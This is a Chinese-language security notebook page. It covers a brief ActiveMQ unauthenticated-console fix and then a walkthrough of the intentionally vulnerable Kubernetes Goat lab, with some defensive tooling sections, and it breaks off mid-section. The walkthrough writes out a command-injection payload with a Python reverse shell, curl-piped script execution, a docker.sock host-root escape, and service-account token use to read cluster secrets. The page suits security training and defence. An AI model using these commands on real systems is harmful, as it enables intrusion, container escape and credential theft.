(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)
INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]
INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
```
## Vulnerability Reproduction
直接访问:http://192.168.32.183:8161/admin/queues.jsp

## 修复方案
编辑 `${ACTIVEMQ_HOME}/conf/jetty.xml`开启身份验证,将authenticate属性改为true:
```
<property name="authenticate" value="true" />
```
编辑文件`conf/jetty-realm.properties`来更改[Apache](https://so.csdn.net/so/search?q=Apache&spm=1001.2101.3001.7020) ActiveMQ的默认管理用户名和密码,格式如下:

重启服务就可以进行鉴权

|
sec-knowleage
|
# kubernetes-goat
## 简介
Kubernetes Goat 是一个交互式 Kubernetes 安全学习游乐场。它在设计场景中故意易受攻击,以展示 Kubernetes 集群、容器和云原生环境中的常见错误配置、现实漏洞和安全问题。
Kubernetes Goat 有 20 多个场景,涵盖攻击、防御、最佳实践、工具等,包括:
- 代码库中敏感密钥
- Docker-in-Docker的漏洞利用
- Kubernetes (K8S) 中的 SSRF
- 容器逃逸到主系统
- Docker CIS 基准分析
- Kubernetes CIS 基准分析
- 攻击私有仓库
- NodePort 暴露的服务
- Helm v2 tiller 攻击集群(已废弃)
- 分析加密矿工容器
- Kubernetes 命名空间绕过
- 获取环境信息
- 拒绝服务(DoS)内存/CPU资源
- 黑客容器预览
- 隐藏在层中
- RBAC 最低特权配置错误
- KubeAudit - 审核Kubernetes集群
- Falco - 运行时安全监测和检测
- Popeye - Kubernetes集群清理工具
- 使用 NSP 保护网络边界
## 安装
> 需要先安装minikube,参考[这里](https://icybersec.gitbook.io/cybersecuritynote-cn/yun-wei-pei-zhi/kubernetes/an-zhuang-bu-shu)安装
### helm
安装helm
```sh
root@l-virtual-machine:~# curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash
```
验证helm是否安装完成。
```sh
root@l-virtual-machine:~# helm version
version.BuildInfo{Version:"v3.11.0", GitCommit:"472c5736ab01133de504a826bd9ee12cbe4e7904", GitTreeState:"clean", GoVersion:"go1.18.10"}
```
### Kubernetes Goat
安装socat,用于端口转发
```
apt install -y socat
```
下载kubernetes-goat仓库
```
git clone https://github.com/madhuakula/kubernetes-goat.git
```
进入kubernetes-goat目录
```
cd kubernetes-goat
```
修改`scenarios/internal-proxy/deployment.yaml`中CPU和内存值为300M。
```
spec:
selector:
matchLabels:
app: internal-proxy
template:
metadata:
labels:
app: internal-proxy
spec:
containers:
- name: internal-api
image: madhuakula/k8s-goat-internal-api
resources:
limits:
cpu: 300m
memory: 300Mi
requests:
cpu: 300m
memory: 300Mi
ports:
```
运行kubernetes-goat的K8S服务
```sh
$ bash setup-kubernetes-goat.sh
```
运行脚本,启动应用服务的端口转发。
```sh
$ bash access-kubernetes-goat.sh
```
访问1234端口,就可以看到全部的场景信息。

## 代码库敏感密钥
开发人员倾向于将敏感信息提交给版本控制系统。当我们转向 CI/CD 和 GitOps 系统时,我们往往会忘记识别代码和提交中的敏感信息。让我们看看能不能在这里找到一些很酷的东西!
访问1230端口。

使用gobuster爆破目录,找到`/.git/HEAD`
```
┌──(root㉿kali)-[/tmp]
└─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -t 30 -u http://192.168.32.130:1230
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.32.130:1230
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
/.git/HEAD (Status: 200) [Size: 23]
/ping (Status: 200) [Size: 4]
```
使用`git-dumper`下载源码
```sh
$ git clone https://github.com/arthaud/git-dumper
```
```bash
$ cd git-dumper
$ python3 git_dumper.py http://192.168.32.130:1230/.git k8s-goat-git
[-] Testing http://192.168.32.130:1230/.git/HEAD [200]
[-] Testing http://192.168.32.130:1230/.git/ [404]
[-] Fetching common files
[-] Fetching http://192.168.32.130:1230/.gitignore [404]
[-] http://192.168.32.130:1230/.gitignore responded with status code 404
[-] Fetching http://192.168.32.130:1230/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.168.32.130:1230/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.32.130:1230/.git/hooks/post-commit.sample [404]
[-] http://192.168.32.130:1230/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://192.168.32.130:1230/.git/hooks/post-receive.sample [404]
[-] Fetching http://192.168.32.130:1230/.git/hooks/post-update.sample [200]
[-] http://192.168.32.130:1230/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://192.168.32.130:1230/.git/hooks/pre-rebase.sample [200]
```
查看日志和以前的提交历史来验证 git 历史和信息
```sh
$ cd k8s-goat-git
$ git log
```

查看`d7c173ad183c574109cd5c4c648ffe551755b576`commit
```sh
$ git checkout d7c173ad183c574109cd5c4c648ffe551755b576
Note: switching to 'd7c173ad183c574109cd5c4c648ffe551755b576'.
```
查看目录,找到`.env`文件,发现AWS密钥

## Docker-in-Docker的漏洞利用
根据提示,访问1231端口

这是一个命令注入漏洞的页面

配置反弹shell
```
127.0.0.1;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

切换交互式终端
```
# python -c "import pty;pty.spawn('/bin/bash')"
root@health-check-deployment-fbc7964bc-5l6sx:/#
```
运行linepeas枚举系统
```
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
找到docker sock接口

查看版本

下载docker二进制版本
```
wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
```
解压
```
tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
```
使用docker调用sock
```
/tmp/docker/docker -H unix:///custom/docker/docker.sock images
```

> docker提权到宿主机
>
> ```
> /tmp/docker/docker -H unix:///custom/docker/docker.sock run -v /:/mnt -it alpine sh
> ```
## Kubernetes (K8S) 中的 SSRF
修改`scenarios/internal-proxy/deployment.yaml`文件应用的内存和CPU值
```
spec:
containers:
- name: internal-api
image: madhuakula/k8s-goat-internal-api
resources:
limits:
cpu: 300m
memory: 400Mi
requests:
cpu: 300m
memory: 400Mi
```
访问`http://127.0.0.1:5000`,告诉你访问`http://metadata-db`会有更多的信息。

访问`http://metadata-db`会访问`latest`路径

最后`http://metadata-db/latest/secrets/kubernetes-goat`会得到一个base64值

```bash
$ echo 'azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI=' |base64 -d
k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab
```
## 容器逃逸到主系统
访问1233端口

打印当前系统的进程的 capabilities 状态。capabilities 是指给予进程的特权,用于控制它可以执行哪些操作。
```
root@l-virtual-machine:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
```
mount查看挂载,发现`host-system`目录是挂载了宿主机的根目录

查看`/host-system`

将当前系统的根目录更改为 "/host-system"。这意味着系统将认为 "/host-system" 是根目录,并且所有的相对路径都是从 "/host-system" 开始的。执行 "chroot /host-system bash" 后,您将进入到一个以 "/host-system" 为根目录的新环境,并且可以在其中运行 bash。
```
chroot /host-system bash
```
执行`docker ps`

使用kubectl获取pods信息

## Docker CIS 基线分析
运行服务
```
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
```
运行容器应用
```
root@l-virtual-machine:/opt/kubernetes-goat# kubectl get pods
NAME READY STATUS RESTARTS AGE
batch-check-job-t6mnv 0/1 Completed 0 6d20h
build-code-deployment-7d8969f879-hf88j 1/1 Running 2 6d20h
docker-bench-security-6npjf 0/1 ContainerCreating 0 61s
health-check-deployment-fbc7964bc-5l6sx 1/1 Running 2 6d20h
hidden-in-layers-9tld6 1/1 Running 0 136m
internal-proxy-deployment-5489c8b584-72mhp 2/2 Running 0 123m
kubernetes-goat-home-deployment-655d88c69f-lzb9s 1/1 Running 2 6d20h
metadata-db-86d59569fc-nbtx2 1/1 Running 2 6d20h
poor-registry-deployment-597b9fb599-tfdzq 1/1 Running 2 6d20h
system-monitor-deployment-5678ccfbc9-tqxsb 1/1 Running 2 6d20h
```
```
kubectl exec -it docker-bench-security-6npjf -- sh
```
执行docker CIS基线分析脚本
```
~ # cd docker-bench-security/
~/docker-bench-security # bash docker-bench-security.sh
```

## K8S CIS基线分析
运行服务
```
kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml
```
它是一个检测任务
```
root@l-virtual-machine:~# kubectl get jobs
NAME COMPLETIONS DURATION AGE
batch-check-job 1/1 37s 6d20h
hidden-in-layers 0/1 160m 160m
kube-bench-master 1/1 4m33s 22m
kube-bench-node 1/1 4m34s 22m
```
查看日志,可以看到K8S基线情况。

## 攻击私有仓库
访问:http://192.168.32.130:1235/v2/_catalog,查看docker仓库信息

访问:`http://192.168.32.130:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest`,获取`madhuakula/k8s-goat-users-repo`镜像信息

查看环境变量,找到API_KEY。

## NodePort 暴露的服务
按照提示进行端口扫描,发现30003端口开启。
```
root@l-virtual-machine:~# nmap 192.168.32.130 -sT -p30000-32767
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-06 15:08 CST
Nmap scan report for control-plane.minikube.internal (192.168.32.130)
Host is up (0.00015s latency).
Not shown: 2766 closed ports
PORT STATE SERVICE
30003/tcp open amicon-fpsu-ra
```
访问30003端口

## 分析加密矿工容器
查看工作任务详情
```
root@l-virtual-machine:~# kubectl describe job batch-check-job
Name: batch-check-job
Namespace: default
Selector: controller-uid=f296d44b-82ec-43d1-ae00-1fff33961e59
Labels: controller-uid=f296d44b-82ec-43d1-ae00-1fff33961e59
job-name=batch-check-job
Annotations: <none>
Parallelism: 1
Completions: 1
Start Time: Mon, 30 Jan 2023 17:41:18 +0800
Completed At: Mon, 30 Jan 2023 17:41:55 +0800
Duration: 37s
Pods Statuses: 0 Active / 1 Succeeded / 0 Failed
Pod Template:
Labels: controller-uid=f296d44b-82ec-43d1-ae00-1fff33961e59
job-name=batch-check-job
Containers:
batch-check:
Image: madhuakula/k8s-goat-batch-check
Port: <none>
Host Port: <none>
Environment: <none>
Mounts: <none>
Volumes: <none>
Events: <none>
```
然后通过运行以下命令获取 pod 信息,该命令展示了标签和选择器匹配的 pod
```
root@l-virtual-machine:~# kubectl get pods --namespace default -l "job-name=batch-check-job"
NAME READY STATUS RESTARTS AGE
batch-check-job-t6mnv 0/1 Completed 0 6d21h
```
查看pod的yaml文件,我们可以看到这个作业 pod 正在运行 `madhuakula/k8s-goat-batch-check` docker 容器镜像
```
root@l-virtual-machine:~# kubectl get pod batch-check-job-t6mnv -o yaml
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: "2023-01-30T09:41:18Z"
generateName: batch-check-job-
labels:
controller-uid: f296d44b-82ec-43d1-ae00-1fff33961e59
job-name: batch-check-job
name: batch-check-job-t6mnv
namespace: default
ownerReferences:
- apiVersion: batch/v1
blockOwnerDeletion: true
controller: true
kind: Job
name: batch-check-job
uid: f296d44b-82ec-43d1-ae00-1fff33961e59
resourceVersion: "627"
selfLink: /api/v1/namespaces/default/pods/batch-check-job-t6mnv
uid: 51018d04-0b46-448a-b329-03ff0d036981
spec:
containers:
- image: madhuakula/k8s-goat-batch-check
imagePullPolicy: Always
name: batch-check
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: default-token-7bvsp
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: l-virtual-machine
priority: 0
restartPolicy: Never
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: default-token-7bvsp
secret:
defaultMode: 420
secretName: default-token-7bvsp
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-01-30T09:41:18Z"
reason: PodCompleted
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2023-01-30T09:41:18Z"
reason: PodCompleted
status: "False"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2023-01-30T09:41:18Z"
reason: PodCompleted
status: "False"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-01-30T09:41:18Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: docker://d82f62ef538eccab1b687360a459bc5d59fd3eff4b62bee614b12642834c2ff4
image: madhuakula/k8s-goat-batch-check:latest
imageID: docker-pullable://madhuakula/k8s-goat-batch-check@sha256:5be381d47c086a0b74bbcdefa5f3ba0ebb78c8acbd2c07005346b5ff687658ef
lastState: {}
name: batch-check
ready: false
restartCount: 0
started: false
state:
terminated:
containerID: docker://d82f62ef538eccab1b687360a459bc5d59fd3eff4b62bee614b12642834c2ff4
exitCode: 0
finishedAt: "2023-01-30T09:41:55Z"
reason: Completed
startedAt: "2023-01-30T09:41:55Z"
hostIP: 192.168.32.130
phase: Succeeded
podIP: 172.17.0.4
podIPs:
- ip: 172.17.0.4
qosClass: BestEffort
startTime: "2023-01-30T09:41:18Z"
```
在这里我们可以看到它包含一个在构建时在其中一层中执行外部脚本的命令
```
root@l-virtual-machine:~# docker history --no-trunc madhuakula/k8s-goat-batch-check
IMAGE CREATED CREATED BY SIZE COMMENT
sha256:cb43bcb572b74468336c6854282c538e9ac7f2efc294aa3e49ce34fab7a275c7 8 months ago CMD ["ps" "auxx"] 0B buildkit.dockerfile.v0
<missing> 8 months ago RUN /bin/sh -c apk add --no-cache htop curl ca-certificates && echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup && rm -rf /tmp/* # buildkit 2.96MB buildkit.dockerfile.v0
<missing> 8 months ago LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat 0B buildkit.dockerfile.v0
<missing> 10 months ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 10 months ago /bin/sh -c #(nop) ADD file:5d673d25da3a14ce1f6cf66e4c7fd4f4b85a3759a9d93efb3fd9ff852b5b56e4 in / 5.57MB
```
```
echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup && rm -rf /tmp/*
```
## Kubernetes 命名空间绕过
默认情况下,Kubernetes 使用平面网络架构,这意味着集群中的任何 pod/服务都可以与其他人通信。默认情况下,集群中的命名空间没有任何网络安全限制。
运行`hacker-container`镜像。
```
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
```
查看网络IP。

查看redis端口
```
~ # nmap -sT -open -p 6379 172.17.0.0/16
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-06 07:35 UTC
Nmap scan report for 172-17-0-9.cache-store-service.secure-middleware.svc.cluster.local (172.17.0.9)
Host is up (0.000060s latency).
PORT STATE SERVICE
6379/tcp open redis
MAC Address: 02:42:AC:11:00:09 (Unknown)
```
连接redis

## 获取环境信息
访问1233端口

输入`printenv`,获取环境信息
```
root@l-virtual-machine:/# printenv
LS_COLORS=
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PORT=5000
METADATA_DB_SERVICE_PORT=80
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_ADDR=10.109.244.245
SYSTEM_MONITOR_SERVICE_PORT=tcp://10.100.194.17:8080
BUILD_CODE_SERVICE_SERVICE_PORT=3000
HOSTNAME=l-virtual-machine
BUILD_CODE_SERVICE_SERVICE_HOST=10.97.181.240
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PROTO=tcp
METADATA_DB_SERVICE_PORT_HTTP=80
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP=tcp://10.96.130.221:3000
METADATA_DB_SERVICE_HOST=10.96.0.140
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_PORT=80
HEALTH_CHECK_SERVICE_PORT_80_TCP_PROTO=tcp
BUILD_CODE_SERVICE_PORT_3000_TCP_PROTO=tcp
INTERNAL_PROXY_INFO_APP_SERVICE_PORT=tcp://10.109.244.245:5000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PORT=5000
SYSTEM_MONITOR_SERVICE_SERVICE_HOST=10.100.194.17
POOR_REGISTRY_SERVICE_PORT_5000_TCP_ADDR=10.101.33.162
INTERNAL_PROXY_API_SERVICE_SERVICE_PORT=3000
KUBERNETES_PORT=tcp://10.96.0.1:443
PWD=/
METADATA_DB_PORT_80_TCP_ADDR=10.96.0.140
HOME=/root
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP=tcp://10.100.194.17:8080
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_ADDR=10.100.194.17
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PORT=3000
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_ADDR=10.96.130.221
HEALTH_CHECK_SERVICE_SERVICE_HOST=10.108.6.124
KUBERNETES_SERVICE_PORT_HTTPS=443
POOR_REGISTRY_SERVICE_SERVICE_PORT=5000
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_HOST=10.108.159.179
KUBERNETES_PORT_443_TCP_PORT=443
HEALTH_CHECK_SERVICE_SERVICE_PORT=80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP=tcp://10.108.159.179:80
POOR_REGISTRY_SERVICE_SERVICE_HOST=10.101.33.162
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP=tcp://10.109.244.245:5000
BUILD_CODE_SERVICE_PORT_3000_TCP_PORT=3000
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
METADATA_DB_PORT=tcp://10.96.0.140:80
INTERNAL_PROXY_API_SERVICE_SERVICE_HOST=10.96.130.221
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PORT=80
INTERNAL_PROXY_API_SERVICE_PORT=tcp://10.96.130.221:3000
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_HOST=10.109.244.245
KUBERNETES_GOAT_HOME_SERVICE_PORT=tcp://10.108.159.179:80
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PORT=8080
BUILD_CODE_SERVICE_PORT=tcp://10.97.181.240:3000
SYSTEM_MONITOR_SERVICE_SERVICE_PORT=8080
METADATA_DB_PORT_80_TCP_PORT=80
POOR_REGISTRY_SERVICE_PORT=tcp://10.101.33.162:5000
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PROTO=tcp
BUILD_CODE_SERVICE_PORT_3000_TCP=tcp://10.97.181.240:3000
SHLVL=1
KUBERNETES_SERVICE_PORT=443
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PROTO=tcp
METADATA_DB_PORT_80_TCP=tcp://10.96.0.140:80
HEALTH_CHECK_SERVICE_PORT=tcp://10.108.6.124:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_ADDR=10.108.159.179
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HEALTH_CHECK_SERVICE_PORT_80_TCP_PORT=80
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PROTO=tcp
HEALTH_CHECK_SERVICE_PORT_80_TCP=tcp://10.108.6.124:80
BUILD_CODE_SERVICE_PORT_3000_TCP_ADDR=10.97.181.240
HEALTH_CHECK_SERVICE_PORT_80_TCP_ADDR=10.108.6.124
KUBERNETES_SERVICE_HOST=10.96.0.1
POOR_REGISTRY_SERVICE_PORT_5000_TCP=tcp://10.101.33.162:5000
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PROTO=tcp
METADATA_DB_PORT_80_TCP_PROTO=tcp
_=/usr/bin/printenv
```
## 拒绝服务(DoS)内存/CPU资源
访问1236端口

我们可以使用像 stress-ng 这样的简单实用程序来执行压力测试,比如访问更多资源。下面的命令是访问比指定更多的资源
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
您可以看到正常资源消耗与运行 stress-ng 时的区别,后者消耗的资源比预期消耗的要多
> 需要安装`metrics`
>
> ```
> wget https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml -O metrics-server-components.yaml
> sed -i 's/k8s.gcr.io\/metrics-server/registry.cn-hangzhou.aliyuncs.com\/google_containers/g' metrics-server-components.yaml
> kubectl apply -f metrics-server-components.yaml
> ```
>
> x509: cannot validate certificate 的解决方案:
> https://ssoor.github.io/2020/03/25/k8s-metrics-server-error-1/
原始阶段
```
root@l-virtual-machine:/tmp# kubectl --namespace big-monolith top pod hunger-check-deployment-5d94d56fdb-pb6jp
NAME CPU(cores) MEMORY(bytes)
hunger-check-deployment-5d94d56fdb-pb6jp 126m 4Mi
```
压测过程中
```
root@l-virtual-machine:/tmp# kubectl --namespace big-monolith top pod hunger-check-deployment-5d94d56fdb-pb6jp
NAME CPU(cores) MEMORY(bytes)
hunger-check-deployment-5d94d56fdb-pb6jp 354m 2059Mi
```
## 黑客容器预览
进入黑客容器
```
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
```
我们可以使用像 amicontained 这样简单而强大的实用程序来执行容器内省并获得系统功能的概述等。
```
bash-5.1# amicontained
Container Runtime: kube
Has Namespaces:
pid: true
user: false
AppArmor Profile: docker-default (enforce)
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
Seccomp: disabled
Blocked Syscalls (22):
MSGRCV SYSLOG SETSID VHANGUP PIVOT_ROOT ACCT SETTIMEOFDAY SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE KEXEC_LOAD PERF_EVENT_OPEN FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF USERFAULTFD
Looking for Docker.sock
```
扫描
```
nikto.pl -host http://metadata-db
```

## 隐藏在层中
查看`madhuakula/k8s-goat-hidden-in-layers`镜像信息
```
docker inspect madhuakula/k8s-goat-hidden-in-layers
```
查看构建历史,找到secret.txt
```
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
```

我们可以通过利用 docker 内置命令将 docker 镜像导出为 tar 文件来恢复 `/root/secret.txt`
```
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar
```
解压`hidden-in-layers.tar`
```
root@l-virtual-machine:/tmp# tar xvf hidden-in-layers.tar
66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535/
66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535/VERSION
66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535/json
66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535/layer.tar
79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/
79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/VERSION
79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/json
79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar
8944f45111dbbaa72ab62c924b0ae86f05a2e6d5dcf8ae2cc75561773bd68607.json
c8e3854bdc614a630d638b7cb682ed66c824e25b5c7a37cf14c63db658b99723/
c8e3854bdc614a630d638b7cb682ed66c824e25b5c7a37cf14c63db658b99723/VERSION
c8e3854bdc614a630d638b7cb682ed66c824e25b5c7a37cf14c63db658b99723/json
c8e3854bdc614a630d638b7cb682ed66c824e25b5c7a37cf14c63db658b99723/layer.tar
manifest.json
repositories
```
使用dive分析镜像
> https://github.com/wagoodman/dive/releases
```
dive madhuakula/k8s-goat-hidden-in-layers
```

进入layer层
```
cd 66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535/
```
获取secret.txt
```sh
root@l-virtual-machine:/tmp/66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535# ls
json layer.tar VERSION
root@l-virtual-machine:/tmp/66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535# tar xvf layer.tar
root/
root/secret.txt
root@l-virtual-machine:/tmp/66ca4cc4d8d51d6865d9107fc34462e80cf7cf01a3c4f8989ac794dfe95df535# cat root/secret.txt
k8s-goat-3b7a7dc7f51f4014ddf3446c25f8b772
```
## RBAC 最低特权配置错误
访问1236端口

默认情况下,Kubernetes 将所有令牌和服务帐户信息存储在默认位置

要指向内部 API 服务器主机名,我们可以从环境变量中导出它
```
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
```
设置 ServiceAccount 令牌的路径
```
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
```
设置命名空间值
```
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
```
读取 ServiceAccount token
```
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
```
指向 ca.crt 路径,以便我们可以在 curl 请求中查询时使用它
```
export CACERT=${SERVICEACCOUNT}/ca.crt
```
现在我们可以使用令牌和构造的查询来探索 Kubernetes API
```
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
```

要查询默认命名空间中的可用机密,请运行以下命令
> 没有权限查看默认命名空间
```
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
```

查询特定于命名空间的秘密
```
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
```

从secrets中获取k8svaulapikey值
```
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
```

## KubeAudit - 审核Kubernetes集群
kubeaudit 是一个命令行工具和一个 Go 包,用于审计 Kubernetes 集群的各种安全问题。
要开始使用此方案,您可以运行以下命令以使用集群管理员权限启动黑客容器
```
kubectl run -n kube-system --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
```
下载kubeaudit
```
wget https://github.com/Shopify/kubeaudit/releases/download/v0.21.0/kubeaudit_0.21.0_linux_amd64.tar.gz
```
执行审计
```
kubeaudit all
```

## Falco - 运行时安全监测和检测
部署 Falco
```
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco
```
运行镜像,里面执行`cat /etc/shadow`
```
kubectl run --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
```
一会后,查看falco日志,可以监控到执行查看shadow命令。

## Popeye - Kubernetes集群清理工具
运行镜像
```
kubectl run --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
```
## 使用 NSP 保护网络边界
启动web镜像
```
kubectl run --image=nginx website --labels app=website --expose --port 80
```
启动终端
```
kubectl run temp -it --rm --image=alpine /bin/sh
```

创建一个网络策略并将其应用于 Kubernetes 集群以阻止/拒绝任何请求。
{% code title="website-deny.yaml" %}
```
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: website-deny
spec:
podSelector:
matchLabels:
app: website
ingress: []
```
{% endcode %}
让我们通过运行以下命令将此 NSP 策略部署到集群:
```
